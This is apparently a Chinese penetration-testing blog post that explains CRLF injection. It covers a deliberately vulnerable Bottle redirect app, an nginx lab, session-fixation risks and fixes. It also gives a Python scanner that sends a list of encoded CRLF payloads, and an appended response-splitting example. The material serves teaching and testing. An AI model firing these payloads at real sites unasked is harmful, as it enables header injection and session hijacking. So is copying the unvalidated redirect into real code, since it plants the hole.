渗透测试-crlf注入原理

目录

概念

HTTP报文结构与漏洞原理

漏洞检测

Bottle之CRLF漏洞

nginx配置错误之CRLF漏洞

漏洞危害

会话固定

修复建议

漏洞检测POC


概念

         这个漏洞一般很少出现。  
         CRLF是CR和LF两个字符的拼接,它们分别代表”回车+换行”(\r\n)。十六进制编码分别为0x0d和0x0a,URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令,它表示键盘上的"Enter"键,许多应用程序和网络协议使用这些命令作为分隔符。

  • CR:回车,移动到当前行的开始
  • LF:换行 ,光标垂直移动到下一行

         了解这个漏洞之前我们需先了解HTTP报文结构

HTTP报文结构与漏洞原理

        在http协议中,http header之间用一个CRLF字符序列分割开来,Head与Body之间用两个CRLF分割开,浏览器根据这两个CRLF来取出HTTP内容并显示出来。

      所以如果用户的输入在http返回包的Header处回显,如重定向

我们就可以通过添加一个crlf来提前结束响应头。如?url=https://www.baidu.com%0d%0aSet-Cookie:12345,浏览器识别到其中存在一个CRLF,就会把其后面的数据当做响应头来处理,提前结束响应头

漏洞检测

        如果请求头中输入的某个值在返回包的header处回显,则可以进行测试。在其后面加上%0d%0aSet-Cookie:12345 ,返回包中存在Set-Cookie字段则存在漏洞,如下Bottle的某个版本存在crlf注入漏洞,通过在请求头部添加CRLF,其之后的内容被当做了另一个响应头进行处理

Bottle之CRLF漏洞

Bottle:一个python web框架

crlf.py


    
    
  1. import bottle
  2. from bottle import route, run, request
  3. @route('/')
  4. def index():
  5. crlf_test = request.query.get( 'url', '')
  6. return bottle.redirect(crlf_test)
  7. if __name__ == '__main__':
  8. bottle.debug( True)
  9. run(host= '192.168.60.7', port= 8081)

执行python crlf.py,访问192.168.60.7:8081/?url=https://www.baidu.com,在请求中拼接%0d%0aSet-Cookie:123,返回包中存在Set-Cookie字段

nginx配置错误之CRLF漏洞

使用vulhub的环境,进入/vulhub-master/nginx/insecure-configuration目录,执行docker-compose up -d启动环境

访问8080端口,并添加%0d%0aset-cookie:123

漏洞危害

        根据插入的CRLF的个数不同,可设置任意的响应头,控制响应正文。具体的危害表现在:会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定

什么是会话固定,传送门 -》会话固定

       会话固定:用户登录前和登录后,会话ID(cookie)值是一样的。

       如果服务器存在会话固定漏洞,攻击者通过给访问者事先设定一个sessionID值,然后通过各种手段促使受害者使用这个会话ID通过服务器验证,这样攻击者就可以通过这个会话ID进入受害者的账户。

修复建议

1. 过滤CRLF字符以及其他控制字符
2. 用户的输入不对其直接输出

漏洞检测POC

写了一个简单的漏洞检测脚本,payload可以根据需求自行添加


    
    
  1. import requests
  2. import argparse
  3. from requests.packages import urllib3
  4. urllib3.disable_warnings()
  5. from colorama import init
  6. init(autoreset= True)
  7. header={
  8. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
  9. }
  10. def url():
  11. des= "CRLF注入漏洞POC"
  12. parser = argparse.ArgumentParser(description=des)
  13. parser.add_argument( '--target_url', type= str, help= 'The target address,example: http://192.168.140.153:8081')
  14. args = parser.parse_args()
  15. target_url = args.target_url
  16. print( "[-]CRLF注入漏洞POC")
  17. print( "[-]正在执行检测...")
  18. print( "[-]目标地址:",target_url)
  19. return target_url
  20. def check( target_url):
  21. payload=[ '%E5%98%8A%E5%98%8D%0D%0Aheader:header', '%E5%98%8A%E5%98%8D%0Dheader:header', '%E5%98%8A%E5%98%8D%0Aheader:header', '%E5%98%8A%E5%98%8Dheader:header', '%5cr%5cnheader:header', '%3F%0D%0Aheader:header', '%3F%0Aheader:header', '%23%OAheader:header', '%23%0D%0Aheader:header', '%23%0Aheader:header', '%20%0D%0Aheader:header', '%20%0Dheader:header', '%20%0Aheader:header', '%0D%20header:header', '%0D%0A%20header:header', '%0D%0A%09header:header', '%0aheader:header', '%0d%0aheader:header', '/%0d%0aheader:header', '/?url=https://www.baidu.com%0d%0aheader:header', '/?id=%0d%0aheader:header', '?url=%0d%0aheader:header', '?id=%0d%0aheader:header', '%0aheader:header', '%0dheader:header', '%23%0dheader:header', '%3f%0dheader:header', '/%250aheader:header', '/%25250aheader:header', '/%%0a0aheader:header', '/%3f%0dheader:header', '/%23%0dheader:header', '/%25%30aheader:header', '/%25%30%61header:header', '/%u000aheader:header', '/www.baidu.com/%2f%2e%2e%0d%0aheader:header']
  22. result = False
  23. for i in payload:
  24. url = target_url + i
  25. #print(url)
  26. try:
  27. headers = requests.get(url=url,headers=header,allow_redirects= False,verify= False,timeout= 4).headers
  28. #print(headers)
  29. if 'header' in list(headers):
  30. print( '\033[0;31m[+]漏洞存在\033[0m')
  31. result = True
  32. return True
  33. break
  34. except:
  35. pass
  36. if not result:
  37. print( '\033[0;32m[+]漏洞不存在\033[0m')
  38. if __name__ == '__main__':
  39. target_url = url()
  40. check(target_url)

里面有几个小的知识点,因为crlf一般发生在重定向的地方,脚本中在请求一个url的时候会发出两个请求包,第一个是为301重定向的数据包,第二个是访问重定向后的url,而脚本输出请求url的返回的数据的时候只会输出第二个数据包,这里就需用在requests.get中添加allow_redirects=False,禁止访问重定向的url,这样我们就能查看第一个url的返回信息。还有就是requests在访问某个url异常即没有反应的时候会抛出异常然后程序停止,然而我们脚本中需要在url中拼接一个个payload进行访问,每个拼接后的url都要求访问然后查看返回的数据,不能让程序停止,所以要添加try,except:pass,让请求url错误的时候也不会停止程序的运行。

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
CRLF注入漏洞是一种常见的网络安全漏洞,它在代码中未对输入进行正确的过滤和验证,导致攻击者可以利用换行符(CRLF:Carriage Return Line Feed)来执行恶意代码或实施其他攻击。 要复现CRLF注入漏洞,首先需要找到存在漏洞的应用程序。这些应用程序通常会接收用户的输入,并在服务器上生成响应,而在生成响应时未能很好地处理输入的换行符。 我们可以通过使用一个简单的示例来演示CRLF注入漏洞的复现。假设我们有一个简单的表单,允许用户提交评论,并在页面上显示评论内容,我们可以通过评论框中的输入来复现漏洞。 首先,我们在评论框中输入以下内容: ``` 本次评论测试漏洞%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0A%0D%0A<html><body>Hacked!</body></html> ``` 在上述输入中,`%0D%0A`表示换行符。我们在注入的内容中使用了换行符,然后添加了一些伪造的HTTP响应头,包括`Content-Length: 0`和`HTTP/1.1 200 OK`。最后,我们添加了一个简单的HTML页面。 当我们提交评论后,应用程序未能正确处理换行符,导致我们的注入成功。服务器在生成响应时,将我们注入的内容也作为响应头部分显示出来。 这样,我们就成功利用CRLF注入漏洞,并在生成的页面上显示了我们的内容。 为了防止CRLF注入漏洞,开发者应该对用户的输入进行正确的过滤和验证。在处理用户的输入时,应该移除或转义包含换行符的内容,以防止攻击者注入恶意内容并执行攻击。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值